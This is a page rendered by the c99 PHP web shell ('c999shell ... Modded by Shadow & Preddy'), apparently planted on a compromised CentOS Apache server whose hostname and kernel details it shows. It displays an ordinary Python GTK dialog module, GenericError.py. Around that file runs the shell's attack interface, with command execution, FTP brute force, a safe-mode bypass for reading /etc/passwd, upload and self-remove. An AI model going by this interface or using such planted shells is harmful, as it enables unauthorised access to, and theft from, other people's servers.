!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/rhpl/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GenericError.py (2.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import gtk

TYPE_ERROR='error'
TYPE_INFO='info'
TYPE_QUESTION='question'
TYPE_WARNING='message'
TYPE_YES_NO='yesno'
TYPE_CUSTOM_QUESTION='customquestion'

class GenericError (gtk.MessageDialog):
    TYPE_ERROR='error'
    TYPE_INFO='info'
    TYPE_QUESTION='question'
    TYPE_WARNING='message'
    TYPE_YES_NO='yesno'
    TYPE_CUSTOM_QUESTION='customquestion'
    
    def __init__ (self, type, primary_text, secondary_text, parent_dialog=None, broken_widget=None):
        buttons = gtk.BUTTONS_OK
        if type == TYPE_CUSTOM_QUESTION:
            real_type = gtk.MESSAGE_QUESTION
            buttons = gtk.BUTTONS_NONE
        elif type == TYPE_ERROR:
            real_type = gtk.MESSAGE_ERROR
        elif type == TYPE_INFO:
            real_type = gtk.MESSAGE_INFO
        elif type == TYPE_QUESTION:
            real_type = gtk.MESSAGE_QUESTION
        elif type == TYPE_WARNING:
            real_type = gtk.MESSAGE_WARNING
        elif type == TYPE_YES_NO:
            real_type = gtk.MESSAGE_QUESTION
            buttons = gtk.BUTTONS_YES_NO
        else:
            raise TypeError

        message = "<span size=\"larger\" weight=\"bold\">%s</span>\n\n%s" % (primary_text, secondary_text)
        gtk.MessageDialog.__init__ (self, parent_dialog,
                                    gtk.DIALOG_MODAL|gtk.DIALOG_DESTROY_WITH_PARENT,
                                    real_type,
                                    buttons,
                                    message)
        self.set_title ('')
        self.label.set_use_markup (True)
        if broken_widget != None:
            broken_widget.grab_focus ()
            if isinstance (broken_widget, gtk.Entry):
                broken_widget.select_region (0, -1)
        if parent_dialog:
            self.set_transient_for (parent_dialog)
        else:
            self.set_position (gtk.WIN_POS_MOUSE)

    def display (self):
        ret = self.run ()
        self.destroy ()
        return ret


class GenericQuestionError (GenericError):
    def __init__ (self, question_buttons, primary_text, secondary_text, parent_dialog=None, broken_widget=None):
        GenericError.__init__ (self, TYPE_CUSTOM_QUESTION, primary_text, secondary_text, parent_dialog, broken_widget)
        for (label, response_id) in question_buttons:
            self.add_button (label, response_id)

### Examples of Use:
###
### from GenericError import *
###
### GenericError (TYPE_ERROR, _("Computer on fire."), _("Your computer has accidentally lit itself on fire.  Please try using a fire extinguisher!")).display ()
### ---
### print GenericQuestionError ([(gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL), ('Foo', 1)], _("Foo?"), _("Do you want to <i>foo</i>???")).display ()
### ---
### w = gtk.Window (gtk.WINDOW_TOPLEVEL)
### w.set_default_size (300, 300)
### e = gtk.Entry ()
### e.insert_text ('foo')
### w.add (e)
### w.show_all ()
### 
### GenericError (TYPE_ERROR, _("Some Error"), _("Error text!"), w, e).display ()

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0133 ]--